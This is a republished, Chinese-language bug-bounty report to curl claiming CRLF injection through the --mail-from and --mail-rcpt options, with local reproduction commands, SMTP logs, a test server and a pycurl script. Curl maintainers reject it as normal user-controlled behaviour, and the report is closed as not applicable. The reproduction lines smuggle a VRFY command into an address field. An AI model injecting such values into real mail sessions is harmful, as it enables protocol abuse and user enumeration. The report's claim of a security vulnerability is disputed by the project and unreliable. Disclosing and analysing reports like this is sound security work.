libcurl SMTP客户端CRLF注入漏洞分析:通过--mail-from和--mail-rcpt实现SMTP命令走私

本文详细分析了libcurl SMTP客户端存在的CRLF注入漏洞,攻击者可通过恶意构造的邮件地址注入换行符,实现SMTP命令走私,可能导致用户枚举或协议滥用。包含复现步骤、影响分析和代码示例。

CRLF注入漏洞报告 #3235428

摘要

libcurl的SMTP客户端通过--mail-from--mail-rcpt参数存在CRLF注入漏洞。攻击者可以注入换行符来走私SMTP命令(如VRFY),可能实现用户枚举或协议滥用。虽然curl在注入后可能失败,但注入的命令已被SMTP服务器执行,确认了漏洞存在。

AI声明

是的,我使用了AI来发现此漏洞。

受影响版本

在Ubuntu 24.04.2上测试了以下版本:

  • curl 8.5.0(系统)
  • curl 8.15.0-DEV(本地构建)
  • PycURL/7.45.6 with libcurl/8.12.1-DEV

完整系统curl版本:

1
2
3
4
5
$ curl -V
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.6
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd

完整本地构建版本:

1
2
3
4
5
$ curl -V
curl 8.15.0-DEV (Linux) libcurl/8.15.0-DEV OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 libssh2/1.11.0 nghttp2/1.59.0 OpenLDAP/2.6.7
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS brotli HSTS HTTP2 HTTPS-proxy IDN IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets zstd

复现步骤

  1. 运行测试SMTP服务器;我使用的名为smtp_server,以./smtp_server运行并在localhost:1025监听

  2. 使用正常邮箱地址发送邮件,例如:

1
curl -vf --url "smtp://localhost:1025/" --mail-from "attacker@example.com" --mail-rcpt "recipient@example.com" --upload-file mail.txt

其中mail.txt是文本文件——curl正常完成

  1. 现在在"from"字段中注入CRLF发送邮件,例如:
1
curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf 'user@example.com\r\nVRFY d@example.com\r\n')" --mail-rcpt "recipient@example.com" --upload-file mail.txt

curl失败并显示DATA failed: 250,因为服务器对注入的VRFY命令返回了250 OK而不是预期的354;这表明发生了CRLF注入

我认为问题出现在smtp.c中的smtp_perform_mail函数中的"MAIL FROM:%s%s%s%s%s%s"连接邮件字段时未进行清理(且smtp_parse_address也未清理"\r\n")。

支持材料/参考

正常邮件发送:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ curl -vf --url "smtp://localhost:1025/" --mail-from "attacker@example.com" --mail-rcpt "recipient@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<attacker@example.com> SIZE=4
< 250 OK
> RCPT TO:<recipient@example.com>
< 250 OK
> DATA
< 354 End data with <CR><LF>.<CR><LF>
} [4 bytes data]
* We are completely uploaded and fine
< 250 Message accepted for delivery
* Connection #0 to host localhost left intact

在"from"字段中注入CRLF发送:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ cat mail.txt
Huh?

$ curl -vf --url "smtp://localhost:1025/" --mail-from "$(printf 'user@example.com\r\nVRFY d@example.com\r\n')" --mail-rcpt "recipient@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<user@example.com
> VRFY d@example.com
> SIZE=4
< 250 OK
> RCPT TO:<recipient@example.com>
< 250 OK: John X Doe <d@example.com>
> DATA
< 250 OK
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250

在"rcpt"字段中注入CRLF发送:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ curl -vf --url "smtp://localhost:1025/" --mail-rcpt "$(printf 'rcpt@example.com\r\nVRFY d@example.com\r\n')" --mail-from "from@example.com" --upload-file mail.txt
* Host localhost:1025 was resolved.
* IPv6: ::1
*   Trying 127.0.0.1:1025...
* Connected to localhost (127.0.0.1) port 1025
< 220 test-smtpd Python SMTP 1.4.6
> EHLO mail.txt
< 250-test-smtpd
< 250-SIZE 33554432
< 250-8BITMIME
< 250-SMTPUTF8
< 250 HELP
> MAIL FROM:<from@example.com> SIZE=4
< 250 OK
> RCPT TO:<rcpt@example.com
> VRFY d@example.com
>
< 250 OK
> DATA
< 250 OK: John X Doe <d@example.com>
* DATA failed: 250
> QUIT
< 354 End data with <CR><LF>.<CR><LF>
* Closing connection
curl: (55) DATA failed: 250
error: Recipe `test-bad-rcpt` failed on line 13 with exit code 55

使用pycURL注入CRLF:

1
2
3
4
$ ./send-with-pycurl
2025-07-03 15:08:38.173 | INFO     | __main__:<module>:37 - pycurl version: PycURL/7.45.6 libcurl/8.12.1-DEV OpenSSL/3.4.1 zlib/1.3 brotli/1.1.0 libssh2/1.11.1_DEV nghttp2/1.64.0
2025-07-03 15:08:38.173 | INFO     | __main__:send:22 - sending email from 'user@example.com\r\nVRFY d@example.com' to 'recipient@example.com'
2025-07-03 15:08:38.176 | ERROR    | __main__:send:32 - exception: (55, 'DATA failed: 250')

服务器日志(用于说明):

1
2
3
4
5
6
7
8
9
$ ./smtp_server
SMTP server running at localhost:1025 (Ctrl+C to stop)
2025-07-03 15:08:23.449 | INFO     | __main__:handle_DATA:24 - Message received -- from: attacker@example.com, to: ['recipient@example.com']
2025-07-03 15:08:23.449 | INFO     | __main__:handle_DATA:25 - Data:>>>Huh?
<<<
2025-07-03 15:08:31.116 | INFO     | __main__:handle_VRFY:29 - Message received -- from: user@example.com, to: []
2025-07-03 15:08:31.116 | INFO     | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <d@example.com>'
2025-07-03 15:08:38.176 | INFO     | __main__:handle_VRFY:29 - Message received -- from: user@example.com, to: []
2025-07-03 15:08:38.176 | INFO     | __main__:handle_VRFY:37 - Sending back '250 OK: John X Doe <d@example.com>'

smtp_server脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
#   "loguru",
#   "aiosmtpd",
# ]
# ///

from aiosmtpd.controller import Controller
from aiosmtpd.smtp import SMTP
from loguru import logger


class MessageHandler:
    async def handle_DATA(self, server, session, envelope):
        logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
        logger.info("Data:>>>{}<<<", envelope.content.decode("utf8", errors="replace"))
        return "250 Message accepted for delivery"

    async def handle_VRFY(self, server, session, envelope, address, *args, **kwargs):
        logger.info("Message received -- from: {}, to: {}", envelope.mail_from, envelope.rcpt_tos)
        USERS = {
            "d@example.com": "John X Doe",
        }
        if full_name := USERS.get(address.lower()):
            response = f"250 OK: {full_name} <{address}>"
        else:
            response = f"550 No such user {address}"
        logger.info("Sending back {!r}", response)
        return response


class MyController(Controller):
    def factory(self):
        """Subclasses can override this to customize the handler/server creation."""
        kwargs = {**self.SMTP_kwargs, "hostname": "test-smtpd"}
        return SMTP(self.handler, **kwargs)


if __name__ == "__main__":
    handler = MessageHandler()
    controller = MyController(handler, hostname="127.0.0.1", port=1025)
    controller.start()
    print("SMTP server running at localhost:1025 (Ctrl+C to stop)")
    import time

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        controller.stop()

send-with-pycurl脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env -S uv run -q --script
# /// script
# dependencies = [
#   "loguru",
#   "pycurl",
# ]
# ///
import io

import pycurl
from loguru import logger


def send(sender, recipient):
    msg = f"""\
From: {sender}
To: {recipient}
Subject: Hello from pycurl

This is the email body.
    """
    logger.info("sending email from {!r} to {!r}", sender, recipient)
    c = pycurl.Curl()
    c.setopt(pycurl.URL, "smtp://localhost:1025")
    c.setopt(pycurl.MAIL_FROM, sender)
    c.setopt(pycurl.MAIL_RCPT, [recipient])
    c.setopt(pycurl.UPLOAD, 1)
    c.setopt(pycurl.READDATA, io.BytesIO(msg.encode()))
    try:
        c.perform()
    except Exception as exc:
        logger.error("exception: {}", exc)
    c.close()


if __name__ == "__main__":
    logger.info("pycurl version: {}", pycurl.version)
    send("user@example.com\r\nVRFY d@example.com", "recipient@example.com")

影响

摘要: 此漏洞允许攻击者通过构造恶意邮箱地址注入任意SMTP命令(如VRFY)。可能导致用户枚举、绕过客户端限制或中断SMTP会话,特别是在自动化或基于代理的电子邮件工作流程中。

时间线

skrcprst 提交报告给curl - 2025年7月3日 5:49am UTC

bagder (curl staff) 发表评论 - 2025年7月3日 6:27am UTC

感谢您的报告! 我们将花时间调查您的报告,并尽快回复您详细信息和可能的后续问题!很可能在接下来的24小时内。

icing (curl staff) 发表评论 - 2025年7月3日 6:31am UTC

您是否知道AI发现的漏洞到目前为止成功率为0%?而且我们有相当好的样本量…

bagder (curl staff) 发表评论 - 2025年7月3日 6:33am UTC

我不认为curl或libcurl声称这些选项是万无一失的。我不认为curl有责任过滤掉用户可能提供的所有可能的垃圾。事实上,发送额外的垃圾通常被curl用户用来验证服务器等。

这不是一个合法的"漏洞",因为攻击者不会随机拥有访问权限和在curl命令行中插入内容的能力。如果攻击者可以修改命令行,实际上所有赌注都无效,无尽的恶意能力都会打开。

因此,这种"攻击"只能由用户自己完成。那么这就不是攻击。这是普通用法。

skrcprst 发表评论 - 2025年7月3日 6:48am UTC

根据评论,我同意关闭此报告。感谢您的时间。

jimfuller2024 (curl staff) 发表评论 - 2025年7月3日 6:52am UTC

此报告中有一些有缺陷的假设:

  1. 有权使用curl的用户可以使用它…如果您希望客户端向服务器发送垃圾,您可以这样做…您也可以下载恶意软件或泄露秘密。用户负责。期望设置"防护栏"以避免"footguns"是错误的期望。
  2. 客户端安全与服务器安全不同

也许我遗漏了什么,作者可以提供更多细节,但我没有看到任何安全问题。

skrcprst 关闭报告并将状态更改为"不适用" - 15天前

bagder (curl staff) 请求披露此报告 - 15天前

根据项目的透明度政策,我们希望所有报告都被披露并公开。

skrcprst 同意披露此报告 - 14天前

此报告已于14天前披露。

报告详情

  • 报告时间: 2025年7月3日 5:49am UTC
  • 报告人: skrcprst
  • 报告对象: curl
  • 报告ID: #3235428
  • 严重性: 中等 (4 ~ 6.9)
  • 披露时间: 2025年7月3日 10:57pm UTC
  • 弱点: CRLF注入
  • CVE ID: 无
  • 赏金: 隐藏
  • 账户详情: 无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计